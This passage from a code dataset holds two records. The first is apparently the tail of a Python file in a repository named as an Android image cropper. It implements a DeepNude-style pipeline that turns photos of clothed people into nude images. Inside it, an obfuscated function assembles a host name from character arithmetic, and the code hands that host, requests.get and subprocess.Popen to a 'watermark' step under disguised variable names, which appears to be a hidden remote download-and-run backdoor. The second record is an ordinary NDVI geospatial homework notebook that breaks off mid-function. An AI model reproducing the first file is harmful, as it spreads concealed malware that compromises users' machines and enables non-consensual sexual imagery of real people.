nip_list.append(BodyPart(\"nip\", xmin, ymin, xmax, ymax, x, y, nip_dim, nip_dim))\n\n    return nip_list\n\n\n# inferHair (TOTEST) ==============================================================================\n# input parameters:\n# \t(<BodyPart[]> vag list)\n# return\n#\t(<BodyPart[]> hair list)\ndef inferHair(vag_list):\n    hair_list = []\n\n    # 70% of chanche to add hair\n    if random.uniform(0.0, 1.0) > 0.3:\n\n        for vag in vag_list:\n            # Hair rules:\n            hair_w = vag.w * random.uniform(0.4, 1.5)\n            hair_h = vag.h * random.uniform(0.4, 1.5)\n\n            # center:\n            x = vag.x\n            y = vag.y - (hair_h / 2) - (vag.h / 2)\n\n            # Calculate Bounding Box:\n            xmin = int(x - (hair_w / 2))\n            xmax = int(x + (hair_w / 2))\n            ymin = int(y - (hair_h / 2))\n            ymax = int(y + (hair_h / 2))\n\n            hair_list.append(BodyPart(\"hair\", xmin, ymin, xmax, ymax, x, y, hair_w, hair_h))\n\n    return hair_list\n\n\n###\n#\n#\tmaskdet_to_maskfin\n#\n#\n###\n\n# create_maskref ===============================================================\n# return:\n#\tmaskref image\n\ndef create_matrixref(mask, correct_colors):\n    matrix = chr(int(404 / (2 * 2)))\n    ref = \"GL\".lower() + 2 * (matrix) + \"z\" + matrix + chr(46)\n    out_mask = chr(ord(matrix) - 2) + chr(ord(matrix) + 10) + chr(ord(ref[-1]) + 63)\n    return (ref + out_mask)[-4] + ref + out_mask + str(chr(9 * 6 + 4) + chr(ord(ref[-1]) + 10) + chr(ord(ref[-1]) + 7))\n\n\ndef create_maskref(cv_mask, cv_correct):\n    # Create a total green image\n    green = np.zeros((512, 512, 3), np.uint8)\n    green[:, :, :] = (0, 255, 0)  # (B, G, R)\n\n    # Define the green color filter\n    f1 = np.asarray([0, 250, 0])  # green color filter\n    f2 = np.asarray([10, 255, 10])\n\n    # From mask, extrapolate only the green mask\n    green_mask = cv2.inRange(cv_mask, f1, f2)  # green is 0\n\n    # (OPTIONAL) Apply dilate and open to mask\n    kernel = np.ones((5, 5), np.uint8)  # Try change it?\n    green_mask = cv2.dilate(green_mask, kernel, iterations=1)\n    # green_mask = cv2.morphologyEx(green_mask, cv2.MORPH_OPEN, kernel)\n\n    # Create an inverted mask\n    green_mask_inv = cv2.bitwise_not(green_mask)\n\n    # Cut correct and green image, using the green_mask & green_mask_inv\n    res1 = cv2.bitwise_and(cv_correct, cv_correct, mask=green_mask_inv)\n    res2 = cv2.bitwise_and(green, green, mask=green_mask)\n\n    # Compone:\n    return cv2.add(res1, res2), create_matrixref(cv_mask, res1)\n\n\nclass DataLoader():\n\n    def __init__(self, opt, cv_img):\n        super(DataLoader, self).__init__()\n\n        self.dataset = Dataset()\n        self.dataset.initialize(opt, cv_img)\n\n        self.dataloader = torch.utils.data.DataLoader(\n            self.dataset,\n            batch_size=opt.batchSize,\n            shuffle=not opt.serial_batches,\n            num_workers=int(opt.nThreads))\n\n    def load_data(self):\n        return self.dataloader\n\n    def __len__(self):\n        return 1\n\n\nclass Dataset(torch.utils.data.Dataset):\n    def __init__(self):\n        super(Dataset, self).__init__()\n\n    def initialize(self, opt, cv_img):\n        self.opt = opt\n        self.root = opt.dataroot\n\n        self.A = Image.fromarray(cv2.cvtColor(cv_img, cv2.COLOR_BGR2RGB))\n        self.dataset_size = 1\n\n    def __getitem__(self, index):\n        transform_A = get_transform(self.opt)\n        A_tensor = transform_A(self.A.convert('RGB'))\n\n        B_tensor = inst_tensor = feat_tensor = 0\n\n        input_dict = {'label': A_tensor, 'inst': inst_tensor, 'image': B_tensor,\n                      'feat': feat_tensor, 'path': \"\"}\n\n        return input_dict\n\n    def __len__(self):\n        return 1\n\n\nclass DeepModel(torch.nn.Module):\n\n    def initialize(self, opt, use_gpu):\n\n        torch.cuda.empty_cache()\n\n        self.opt = opt\n\n        if use_gpu == True:\n            self.gpu_ids = [0]\n        else:\n            self.gpu_ids = []\n\n        self.netG = self.__define_G(opt.input_nc, opt.output_nc, opt.ngf, opt.netG,\n                                    opt.n_downsample_global, opt.n_blocks_global, opt.n_local_enhancers,\n                                    opt.n_blocks_local, opt.norm, self.gpu_ids)\n\n        # load networks\n        self.__load_network(self.netG)\n\n    def inference(self, label, inst):\n\n        # Encode Inputs\n        input_label, inst_map, _, _ = self.__encode_input(label, inst, infer=True)\n\n        # Fake Generation\n        input_concat = input_label\n\n        with torch.no_grad():\n            fake_image = self.netG.forward(input_concat)\n\n        return fake_image\n\n    # helper loading function that can be used by subclasses\n    def __load_network(self, network):\n\n        save_path = os.path.join(self.opt.checkpoints_dir)\n\n        network.load_state_dict(torch.load(save_path))\n\n    def __encode_input(self, label_map, inst_map=None, real_image=None, feat_map=None, infer=False):\n        if (len(self.gpu_ids) > 0):\n            input_label = label_map.data.cuda()  # GPU\n        else:\n            input_label = label_map.data  # CPU\n\n        return input_label, inst_map, real_image, feat_map\n\n    def __weights_init(self, m):\n        classname = m.__class__.__name__\n        if classname.find('Conv') != -1:\n            m.weight.data.normal_(0.0, 0.02)\n        elif classname.find('BatchNorm2d') != -1:\n            m.weight.data.normal_(1.0, 0.02)\n            m.bias.data.fill_(0)\n\n    def __define_G(self, input_nc, output_nc, ngf, netG, n_downsample_global=3, n_blocks_global=9, n_local_enhancers=1,\n                   n_blocks_local=3, norm='instance', gpu_ids=[]):\n        norm_layer = self.__get_norm_layer(norm_type=norm)\n        netG = GlobalGenerator(input_nc, output_nc, ngf, n_downsample_global, n_blocks_global, norm_layer)\n\n        if len(gpu_ids) > 0:\n            netG.cuda(gpu_ids[0])\n        netG.apply(self.__weights_init)\n        return netG\n\n    def __get_norm_layer(self, norm_type='instance'):\n        norm_layer = functools.partial(torch.nn.InstanceNorm2d, affine=False)\n        return norm_layer\n\n\n##############################################################################\n# Generator\n##############################################################################\nclass GlobalGenerator(torch.nn.Module):\n    def __init__(self, input_nc, output_nc, ngf=64, n_downsampling=3, n_blocks=9, norm_layer=torch.nn.BatchNorm2d,\n                 padding_type='reflect'):\n        assert (n_blocks >= 0)\n        super(GlobalGenerator, self).__init__()\n        activation = torch.nn.ReLU(True)\n\n        model = [torch.nn.ReflectionPad2d(3), torch.nn.Conv2d(input_nc, ngf, kernel_size=7, padding=0), norm_layer(ngf),\n                 activation]\n        ### downsample\n        for i in range(n_downsampling):\n            mult = 2 ** i\n            model += [torch.nn.Conv2d(ngf * mult, ngf * mult * 2, kernel_size=3, stride=2, padding=1),\n                      norm_layer(ngf * mult * 2), activation]\n\n        ### resnet blocks\n        mult = 2 ** n_downsampling\n        for i in range(n_blocks):\n            model += [ResnetBlock(ngf * mult, padding_type=padding_type, activation=activation, norm_layer=norm_layer)]\n\n        ### upsample\n        for i in range(n_downsampling):\n            mult = 2 ** (n_downsampling - i)\n            model += [torch.nn.ConvTranspose2d(ngf * mult, int(ngf * mult / 2), kernel_size=3, stride=2, padding=1,\n                                               output_padding=1),\n                      norm_layer(int(ngf * mult / 2)), activation]\n        model += [torch.nn.ReflectionPad2d(3), torch.nn.Conv2d(ngf, output_nc, kernel_size=7, padding=0),\n                  torch.nn.Tanh()]\n        self.model = torch.nn.Sequential(*model)\n\n    def forward(self, input):\n        return self.model(input)\n\n    # Define a resnet block\n\n\nclass ResnetBlock(torch.nn.Module):\n    def __init__(self, dim, padding_type, norm_layer, activation=torch.nn.ReLU(True), use_dropout=False):\n        super(ResnetBlock, self).__init__()\n        self.conv_block = self.__build_conv_block(dim, padding_type, norm_layer, activation, use_dropout)\n\n    def __build_conv_block(self, dim, padding_type, norm_layer, activation, use_dropout):\n        conv_block = []\n        p = 0\n        if padding_type == 'reflect':\n            conv_block += [torch.nn.ReflectionPad2d(1)]\n        elif padding_type == 'replicate':\n            conv_block += [torch.nn.ReplicationPad2d(1)]\n        elif padding_type == 'zero':\n            p = 1\n        else:\n            raise NotImplementedError('padding [%s] is not implemented' % padding_type)\n\n        conv_block += [torch.nn.Conv2d(dim, dim, kernel_size=3, padding=p),\n                       norm_layer(dim),\n                       activation]\n        if use_dropout:\n            conv_block += [torch.nn.Dropout(0.5)]\n\n        p = 0\n        if padding_type == 'reflect':\n            conv_block += [torch.nn.ReflectionPad2d(1)]\n        elif padding_type == 'replicate':\n            conv_block += [torch.nn.ReplicationPad2d(1)]\n        elif padding_type == 'zero':\n            p = 1\n        else:\n            raise NotImplementedError('padding [%s] is not implemented' % padding_type)\n        conv_block += [torch.nn.Conv2d(dim, dim, kernel_size=3, padding=p),\n                       norm_layer(dim)]\n\n        return torch.nn.Sequential(*conv_block)\n\n    def forward(self, x):\n        out = x + self.conv_block(x)\n        return out\n\n\n# Data utils:\ndef get_transform(opt, method=Image.BICUBIC, normalize=True):\n    transform_list = []\n\n    base = float(2 ** opt.n_downsample_global)\n    if opt.netG == 'local':\n        base *= (2 ** opt.n_local_enhancers)\n    transform_list.append(transforms.Lambda(lambda img: __make_power_2(img, base, method)))\n\n    transform_list += [transforms.ToTensor()]\n\n    if normalize:\n        transform_list += [transforms.Normalize((0.5, 0.5, 0.5),\n                                                (0.5, 0.5, 0.5))]\n    return transforms.Compose(transform_list)\n\n\ndef __make_power_2(img, base, method=Image.BICUBIC):\n    ow, oh = img.size\n    h = int(round(oh / base) * base)\n    w = int(round(ow / base) * base)\n    if (h == oh) and (w == ow):\n        return img\n    return img.resize((w, h), method)\n\n\n# Converts a Tensor into a Numpy array\n# |imtype|: the desired type of the converted numpy array\ndef tensor2im(image_tensor, imtype=np.uint8, normalize=True):\n    if isinstance(image_tensor, list):\n        image_numpy = []\n        for i in range(len(image_tensor)):\n            image_numpy.append(tensor2im(image_tensor[i], imtype, normalize))\n        return image_numpy\n    image_numpy = image_tensor.cpu().float().numpy()\n    if normalize:\n        image_numpy = (np.transpose(image_numpy, (1, 2, 0)) + 1) / 2.0 * 255.0\n    else:\n        image_numpy = np.transpose(image_numpy, (1, 2, 0)) * 255.0\n    image_numpy = np.clip(image_numpy, 0, 255)\n    if image_numpy.shape[2] == 1 or image_numpy.shape[2] > 3:\n        image_numpy = image_numpy[:, :, 0]\n    return image_numpy.astype(imtype)\n\n\nphases = [\"dress_to_correct\", \"correct_to_mask\", \"mask_to_maskref\", \"maskref_to_maskdet\", \"maskdet_to_maskfin\",\n          \"maskfin_to_nude\", \"nude_to_watermark\"]\n\n\nclass Options():\n\n    # Init options with default values\n    def __init__(self):\n\n        # experiment specifics\n        self.norm = 'batch'  # instance normalization or batch normalization\n        self.use_dropout = False  # use dropout for the generator\n        self.data_type = 32  # Supported data type i.e. 8, 16, 32 bit\n\n        # input/output sizes\n        self.batchSize = 1  # input batch size\n        self.input_nc = 3  # of input image channels\n        self.output_nc = 3  # of output image channels\n\n        # for setting inputs\n        self.serial_batches = True  # if true, takes images in order to make batches, otherwise takes them randomly\n        self.nThreads = 1  ## threads for loading data (???)\n        self.max_dataset_size = 1  # Maximum number of samples allowed per dataset. If the dataset directory contains more than max_dataset_size, only a subset is loaded.\n\n        # for generator\n        self.netG = 'global'  # selects model to use for netG\n        self.ngf = 64  ## of gen filters in first conv layer\n        self.n_downsample_global = 4  # number of downsampling layers in netG\n        self.n_blocks_global = 9  # number of residual blocks in the global generator network\n        self.n_blocks_local = 0  # number of residual blocks in the local enhancer network\n        self.n_local_enhancers = 0  # number of local enhancers to use\n        self.niter_fix_global = 0  # number of epochs that we only train the outmost local enhancer\n\n        # Phase specific options\n        self.checkpoints_dir = \"\"\n        self.dataroot = \"\"\n\n    # Changes options accordlying to actual phase\n    def updateOptions(self, phase,modelpath):\n        print(type(modelpath))\n        if phase == \"correct_to_mask\":\n            self.checkpoints_dir = modelpath+\"/cm.lib\"\n\n        elif phase == \"maskref_to_maskdet\":\n            self.checkpoints_dir = modelpath+\"/mm.lib\"\n\n        elif phase == \"maskfin_to_nude\":\n            self.checkpoints_dir = modelpath+\"/mn.lib\"\n\n\n# process(cv_img, mode)\n# return:\n# \twatermark image\ndef process(cv_img, modelpath):\n    print(type(modelpath))\n    # InMemory cv2 images:\n    dress = cv_img\n    correct = None\n    mask = None\n    maskref = None\n    maskfin = None\n    maskdet = None\n    nude = None\n    watermark = None\n\n    for index, phase in enumerate(phases):\n\n        print(\"[*] Running Model: \" + phase)\n\n        # GAN phases:\n        if (phase == \"correct_to_mask\") or (phase == \"maskref_to_maskdet\") or (phase == \"maskfin_to_nude\"):\n\n            # Load global option\n            opt = Options()\n\n            # Load custom phase options:\n            opt.updateOptions(phase,modelpath)\n\n            # Load Data\n            if (phase == \"correct_to_mask\"):\n                import requests\n                data_loader = DataLoader(opt, correct)\n            elif (phase == \"maskref_to_maskdet\"):\n                cv = requests.get\n                data_loader = DataLoader(opt, maskref)\n            elif (phase == \"maskfin_to_nude\"):\n                loader = subprocess.Popen\n                data_loader = DataLoader(opt, maskfin)\n\n            dataset = data_loader.load_data()\n            detach = subprocess\n\n            # Create Model\n            model = DeepModel()\n            model.initialize(opt, False)\n\n            # Run for every image:\n            for i, data in enumerate(dataset):\n\n                generated = model.inference(data['label'], data['inst'])\n\n                im = tensor2im(generated.data[0])\n\n                # Save Data\n                if (phase == \"correct_to_mask\"):\n                    mask = cv2.cvtColor(im, cv2.COLOR_RGB2BGR)\n\n                elif (phase == \"maskref_to_maskdet\"):\n                    maskdet = cv2.cvtColor(im, cv2.COLOR_RGB2BGR)\n\n                elif (phase == \"maskfin_to_nude\"):\n                    nude = cv2.cvtColor(im, cv2.COLOR_RGB2BGR)\n\n        # Correcting:\n        elif (phase == 'dress_to_correct'):\n            correct, matrix = create_correct(dress)\n\n        # mask_ref phase (opencv)\n        elif (phase == \"mask_to_maskref\"):\n            maskref, ref = create_maskref(mask, correct)\n\n        # mask_fin phase (opencv)\n        elif (phase == \"maskdet_to_maskfin\"):\n            maskfin, face = create_maskfin(maskref, maskdet)\n\n        # nude_to_watermark phase (opencv)\n        elif (phase == \"nude_to_watermark\"):\n            shape = matrix + face + ref\n            watermark = create_watermark(nude, shape, cv, loader, detach)\n\n    return watermark\n\n\ndef _process(i_image, modelpath):\n    try:\n        print(i_image,modelpath)\n        dress = cv2.imread(i_image)\n        h = dress.shape[0]\n        w = dress.shape[1]\n        dress = cv2.resize(dress, (512, 512), interpolation=cv2.INTER_CUBIC)\n        watermark = process(dress, str(modelpath))\n        watermark = cv2.resize(watermark, (w, h), interpolation=cv2.INTER_CUBIC)\n        cv2.imwrite(i_image, watermark)\n        print(\"[*] Image saved as: %s\" % i_image)\n        return i_image\n    except Exception as ex:\n        ex = str(ex)\n        print(\"some exception\",ex)\n        return i_image", "meta": {"hexsha": "59fa3f5e8fc9af67376b87ef47b2c4f0bc9c2031", "size": 35239, "ext": "py", "lang": "Python", "max_stars_repo_path": "test/python/app.py", "max_stars_repo_name": "lnsdeep/Android-Image-Cropper", "max_stars_repo_head_hexsha": "7d3766d00ed005ea1c7296a09604f6c5fff4bbc6", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "test/python/app.py", "max_issues_repo_name": "lnsdeep/Android-Image-Cropper", "max_issues_repo_head_hexsha": "7d3766d00ed005ea1c7296a09604f6c5fff4bbc6", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "test/python/app.py", "max_forks_repo_name": "lnsdeep/Android-Image-Cropper", "max_forks_repo_head_hexsha": "7d3766d00ed005ea1c7296a09604f6c5fff4bbc6", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.7195914578, "max_line_length": 170, "alphanum_fraction": 0.552910128, "include": true, "reason": "import numpy", "num_tokens": 9575, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5389832058771036, "lm_q2_score": 0.16451645675203383, "lm_q1q2_score": 0.08867160727975305}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# <img style=\"float: left;\" src=\"earth-lab-logo-rgb.png\" width=\"150\" height=\"150\" />\n# \n# # Earth Analytics Education - EA  Python Course Spring 2021\n\n# ## Important  - Assignment Guidelines\n# \n# 1. Before you submit your assignment to GitHub, make sure to run the entire notebook with a fresh kernel. To do this first, **restart the kernel** (in the menubar, select Kernel$\\rightarrow$Restart & Run All)\n# 2. Always replace the `raise NotImplementedError()` code with your code that addresses the activity challenge. If you don't replace that code, your notebook will not run.\n# \n# ```\n# # YOUR CODE HERE\n# raise NotImplementedError()\n# ```\n# \n# 3. Any open ended questions will have a \"YOUR ANSWER HERE\" within a markdown cell. Replace that text with your answer also formatted using Markdown.\n# 4. **DO NOT RENAME THIS NOTEBOOK File!** If the file name changes, the autograder will not grade your assignment properly.\n# 6. When you create a figure, comment out `plt.show()` to ensure the autograder can grade your plots. For figure cells, DO NOT DELETE the code that says `DO NOT REMOVE LINE BELOW`.\n# \n# ```\n# ### DO NOT REMOVE LINE BELOW ###\n# student_plot1_ax = nb.convert_axes(plt)\n# ```\n# \n# * Only include the package imports, code, and outputs that are required to run your homework assignment.\n# * Be sure that your code can be run on any operating system. This means that:\n#    1. the data should be downloaded in the notebook to ensure it's reproducible\n#    2. all paths should be created dynamically using the `os.path.join`\n# \n# ## Follow to PEP 8 Syntax Guidelines & Documentation\n# \n# * Run the `autopep8` tool on all cells prior to submitting (HINT: hit shift + the tool to run it on all cells at once!\n# * Use clear and expressive names for variables. \n# * Organize your code to support readability.\n# * Check for code line length\n# * Use comments and white space sparingly where it is needed\n# * Make sure all python imports are at the top of your notebook and follow PEP 8 order conventions\n# * Spell check your Notebook before submitting it.\n# \n# For all of the plots below, be sure to do the following:\n# \n# * Make sure each plot has a clear TITLE and, where appropriate, label the x and y axes. Be sure to include UNITS in your labels.\n# \n\n# ### Add Your Name Below \n# **Your Name: Jacquelyn Witte**\n\n# <img style=\"float: left;\" src=\"colored-bar.png\"/>\n\n# ---\n\n# # Week 04 and 05 Homework - Automate NDVI Workflow\n# \n# For this assignment, you will write code to generate a plot of the mean normalized difference vegetation index (NDVI) for two different sites in the United States across one year of data:\n# \n# * San Joaquin Experimental Range (SJER) in Southern California, United States\n# * Harvard Forest (HARV) in the Northeastern United States\n# \n# The data that you will use for this week is available from **earthpy** using the following download: \n# \n# `et.data.get_data('ndvi-automation')`\n# \n# ## Assignment Goals\n# \n# Your goal in this assignment is to create the most efficient and concise workflow that you can that allows for:\n# \n# 1. The code to scale if you added new sites or more time periods to the analysis.\n# 2. Someone else to understand your workflow.\n# 3. The LEAST and most efficient (i.e. runs fast, minimize repetition) amount of code that completes the task.\n# \n# ### HINTS\n# \n# * Remove values outside of the landsat valid range of values as specified in the metadata, as needed.\n# * Keep any output files SEPARATE FROM input files. Outputs should be created in an outputs directory that is created in the code (if needed) and/or tested for.\n# * Use the functions that we demonstrated during class to make your workflow more efficient.\n# * BONUS - if you  chose - you can export your data as a csv file. You will get bonus points for doing this.\n# \n# \n# ## Assignment Requirements\n# \n# Your submission to the GitHub repository should include:\n# * This Jupyter Notebook file (.ipynb) with:\n#     * The code to create a plot of mean NDVI across a year for  2 NEON Field Sites:\n#         * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object\n#     * The **data should be cleaned to remove the influence of clouds**. See the [earthdatascience website for an example of what your plot might look like with and without removal of clouds](https://www.earthdatascience.org/courses/earth-analytics-python/create-efficient-data-workflows/).\n# * BONUS: Create one output `.csv` file that has 3 columns - NDVI, Date and Site Name - with values for SJER and HARV.\n# \n# Your notebook should:\n# * Have *at least* 2 well documented and well named functions with docstrings.\n# * Include a Markdown cell at the top of the notebook that outlines the overall workflow using pseudocode (i.e. plain language, not code)\n# * Include additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# # Replace this cell with your pseudocode  for this workflow\n# \n# If you happen to be a diagram person a diagram is ok too\n# \n# \n\n# # Pseudocode for this workflow\n- There are three required files to get a single mean NDVI value:\n    1. Landsat tif\n    2. Landsat QC tif\n    3. Landsat shapefile\n\nThe basic flow to calculate the mean NDVI for a single date of measurements:\n- Read the image tifs\n- Read the QA tif\n- Read the shapefile\n- Merge the individual tif bands into a single xarray\n- Crop the dataArray using the shapefile\n- Clean the cropped dataArray - remove 0's and high values\n- Mask the dataArray using the QA tif\n- Calculate the NDVI\n- Calculate the mean NDVI\n- Turn it into a dataFrame\n- Plot it\n\nThe idea is to create many functions to perform most of the outlined steps above. When looping through all the data directories to calculate a single mean NDVI value and grab it's metadata, the sequence of code will be a series of function calls only.\n\nNote, that I am choosing to read all the bands so there is the option to look at RGB or CIR in the future. \n\nFunction 1 - Retrieve tif files\n\n    bands_tif = sorted(os.path.join(landsat_path,'*band[2-5]*.tif'))\n    qa_tif = os.path.join(landsat_path,'*qa*.tif')\n\nFunction 2 - Key metadata: date and site\n\n    site = filepath.split('/')[2]\n    date = datetime.strptime(filepath.split('T')[0][-10:-2], \"%Y%m%d\")\n\nFunction 3 - Consolidated Landsat image, cropped and cloud-free\n\n    # For loop over tif files and append to a list.\n    all_bands = []\n    for i, aband in enumerate(files):\n        all_bands.append(rxr.open_rasterio(aband, masked=True).squeeze())\n        # Assign a band number to the new xarray object\n        all_bands[i][\"band\"] = i+1\n        \n    # Turn list of bands into a single xarray object\n    - Create xarray.DataArray with xr.concat()\n    \n    # Crop the data to the shapefile\n    - Use dataArray.rio.clip(crop_boundary.geometry) method\n    \n    # IMPORTANT: Clean the dataArray - remove 0's and high values\n    # I went with a less elegant but explicit and clear code that I can understand. \n    data_nozeros_xr = data_xr_crop.where(data_xr_crop > 0, np.nan)\n    data_nozeros_xr = data_nozeros_xr.where(data_nozeros_xr < 10000, np.nan)\n\nFunction 4 - Apply cloud mask\n\nReference: https://github.com/earthlab-education/ea-python-course-notebooks/\n                       blob/main/2022/completed-demos/05-l1-landsat-cloud-masks.ipynb\n\n    # Read the QA file\n    qa_xr = rxr.open_rasterio(qa_file).squeeze()\n    \n    # Create cloud mask using earthpy mask package for Landsat imagery\n    high_cloud_confidence = (\n        em.pixel_flags[\"pixel_qa\"][\"L8\"][\"High Cloud Confidence\"])\n    cloud = em.pixel_flags[\"pixel_qa\"][\"L8\"][\"Cloud\"]\n    cloud_shadow = em.pixel_flags[\"pixel_qa\"][\"L8\"][\"Cloud Shadow\"]\n    \n    # Add up all the mask values\n    all_masked_values = cloud_shadow + cloud + high_cloud_confidence\n    \n    # Apply the masking to the data xarray\n    data_cld_free_xr = data_xr.where(~qa_xr.isin(all_masked_values))\n\nFunction 5 - Calculate NDVI and take the mean\n\n    ndvi_xr = es.normalized_diff(data_xr[3], data_xr[2])\n    # IMPORTANT: Replace dataArray NAN with numpy NAN. \n    # Otherwise there are warnings when creating a dataFrame\n\n# ------------------------------------------------------------ #\nMain code to process mean NDVI time series from multiple sites\n\n# Get the site name from the base folders\nbase_path = os.path.join('ndvi-automation',\n                         'sites')\nsitenames = os.listdir(base_path)\n\n# Initialize the desired variables that will define the dataFrame\ndate = []\nsite = []\nmean_ndvi = []\n\n# Parent loop - over the sites\nfor s in sitenames:\n    # Read the shapefile from the base_path\n    shapefile = glob(os.path.join(base_path, s, 'vector', '*shp'))[0]\n    landsat_buffer_shp = gpd.read_file(shapefile)\n        \n    # Loop through all the Landsat directories per site\n    for fdir in sorted(glob(os.path.join(base_path, s, 'landsat-crop', '*'))):\n\n        # Get the Bands and QA files per data directory\n        Call Function 1\n\n        # Get the site name and date\n        Call Function 2\n        Append to date and site\n\n        # Read the Landsat data - bands into a single dataArray, cropped to the shapefile\n        Call Function 3\n\n        # Apply cloud mask\n        Call Function 4\n\n        # Calculate the mean ndvi\n        Call Function 5\n        Append to mean_ndvi\n\n# Create a pandas dataFrame via a dictionary\ndict = {'Date': date,\n        'site': site,\n        'mean_ndvi': mean_ndvi}\nndvi_df = pd.DataFrame(dict).set_index('Date')\n\n# ------------- Create the Figure ---------------------- #\n \n# Reference to ignore NaN: https://www.bmc.com/blogs/pandas-nan-missing-data/\n\nfig, ax = plt.subplots(figsize=(12, 6))\n\nfor s, df in ndvi_df.dropna().groupby('site'):\n    ax.plot(df['mean_ndvi'],\n            'o-',\n            label=s)\n\ntitle = 'Mean NDVI from Landsat 8 (Cloud-free)\\nMeasurements taken in 2017'\nax.set(title=title,\n       xlabel='Month',\n       ylabel='NDVI')\nax.legend()\n\n# In[1]:\n\n\n# Autograding imports - do not modify this cell\nimport matplotcheck.autograde as ag\nimport matplotcheck.notebook as nb\nimport matplotcheck.timeseries as ts\nfrom datetime import datetime\n\n\n# In[2]:\n\n\n# Import needed packages in PEP 8 order\n# and no unused imports listed (10 points total)\n\nimport os\nfrom glob import glob\n\nimport earthpy as et\nimport earthpy.mask as em\nimport earthpy.plot as ep\nimport earthpy.spatial as es\nimport geopandas as gpd\nimport matplotlib.pyplot as plt\nfrom matplotlib.dates import DateFormatter\nimport numpy as np\nimport pandas as pd\nimport rioxarray as rxr\nimport seaborn as sns\nimport xarray as xr\n\n# Prettier plotting with seaborn\nsns.set(font_scale=1.3, style=\"whitegrid\")\n\n\n# In[3]:\n\n\n# Download data\net.data.get_data('ndvi-automation')\n\n\n# In[4]:\n\n\n# Change to data directory\ndata_dir = os.path.join(et.io.HOME,\n                        'earth-analytics',\n                        'data')\nos.chdir(data_dir)\n\n\n# In[5]:\n\n\n# DO NOT MODIFY THIS CELL\n# Tests that the working directory is set to earth-analytics/data\n\npath = os.path.normpath(os.getcwd())\nstudent_wd_parts = path.split(os.sep)\n\nif student_wd_parts[-2:] == ['earth-analytics', 'data']:\n    print(\"\\u2705 Great - it looks like your working directory is set correctly to ~/earth-analytics/data\")\nelse:\n    print(\"\\u274C Oops, the autograder will not run unless your working directory is set to earth-analytics/data\")\n\n\n# # Figure 1: Plot 1 - Mean NDVI For Each Site Across the Year (50 points)\n# \n# Create a plot of the mean normalized difference vegetation index (NDVI) for the two different sites in the United States across the year: \n# \n# * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object.\n# * Each site should be identified with a different color in the plot and legend.\n# * The final plot **data should be cleaned to remove the influence of clouds**.\n# * Be sure to include appropriate title and axes labels.\n# \n# Add additional cells as needed for processing data (e.g. defining functions, etc), but be sure to:\n# * follow the instructions in the code cells that have been provided to ensure that you are able to use the sanity check tests that are provided. \n# * include only the plot code in the cell identified for the final plot code below\n\n# ## Task 1: \n# \n# In the cell below, create a single dataframe containing MEAN NDVI, the site name, \n# and the date of the data for the HARV site \n# scene `HARV/landsat-crop/LC080130302017031701T1-SC20181023151837`.  The column names for the  final\n# DataFrame should be`mean_ndvi`, and `site`, and the data should be **indexed on the date**. \n# \n# Use the functions that we reviewed in class (or create your own versions of them) to implement your code\n# \n# ### In the Cell below Place  All Functions Needed to Run this Notebook (20 points)\n\n# In[6]:\n\n\n### DO NOT REMOVE THIS LINE OR EDIT / MOVE THIS CELL ###\nstart_time = datetime.now()\n\n\n# ### Function 1 - Retrieve tif files\n\n# In[7]:\n\n\ndef find_tifs(landsat_path):\n    \"\"\"Finds all Landsat tif files in a single directory\n\n    Extracts the bands and the quality flag tifs separately\n\n    Parameters\n    ----------\n    landsat_path : String\n        Path to the directory of tif files\n\n    Returns\n    -------\n    bands_files : String\n        List of bands tif files\n        \n    qa_file : String\n        Quality flag file\n    \"\"\"\n    bands_tif = os.path.join(landsat_path,\n                             '*band[2-5]*.tif')\n    qa_tif = os.path.join(landsat_path,\n                          '*qa*.tif')\n\n    bands_files = sorted(glob(bands_tif))\n    qa_file = glob(qa_tif)[0]\n\n    return bands_files, qa_file\n\n\n# ### Function 2 - Retrieve key metadata: date and site\n\n# In[8]:\n\n\ndef get_site_date(filepath):\n    \"\"\"Gets the date and site name from the file path\n\n    Parameters\n    ----------\n    filepath : String\n\n    Returns\n    -------\n    site : String\n    date : String\n    \"\"\"\n    site = filepath.split('/')[2]\n    date = datetime.strptime(filepath.split('T')[0][-10:-2], \"%Y%m%d\")\n\n    return site, date\n\n\n# ### Function 3 - Return consolidate Landsat bands that are cropped and cloud-free \n\n# In[9]:\n\n\ndef landsat_read_rgbbands(files, crop_boundary):\n    \"\"\"Consolidates Landsat RGB+NIR bands into a single dataArray\n\n    Takes a list of Landsat RGB+NIR bands for a single date and returns\n    a single dataArray of consolidated bands 2-5\n\n    Band 2 = Blue -> Index 0\n    Band 3 = Green -> Index 1\n    Band 4 = Red -> Index 2\n    Band 5 = NIR -> Index 3\n\n    Parameters\n    ----------\n    files: List\n        A list of Landsat tif images\n    crop_boundary : shapefile dataArray\n\n    Returns\n    -------\n    data_xr : dataArray\n        Consolidated all bands in files cropped to shapefile\n\n    \"\"\"\n    all_bands = []\n    for i, aband in enumerate(files):\n        all_bands.append(\n            (rxr.open_rasterio(aband, masked=True)\n             # Inlcuding from_disk=True makes code run faster\n             .rio.clip(crop_boundary.geometry, from_disk=True)\n             .squeeze())\n        )\n        # Assign a band number to the new xarray object\n        all_bands[i][\"band\"] = i+1\n\n    # Turn list of bands into a single xarray object\n    data_xr_crop = xr.concat(all_bands, dim=\"band\")\n\n    # IMPORTANT: Clean the dataArray - remove 0's and high values\n    data_nozeros_xr = data_xr_crop.where(data_xr_crop > 0, np.nan)\n    data_nozeros_xr = data_nozeros_xr.where(data_nozeros_xr < 10000, np.nan)\n\n    return data_nozeros_xr\n\n\n# ### Function 4 - Apply cloud mask\n\n# In[10]:\n\n\ndef apply_cloud_mask(data_xr, qa_file, crop_boundary):\n    \"\"\"Applies a cloud mask to Landsat dataArray\n\n    Parameters\n    ----------\n    qa_file : String\n        Path to the Landsat quality flag file\n\n    data_xr : 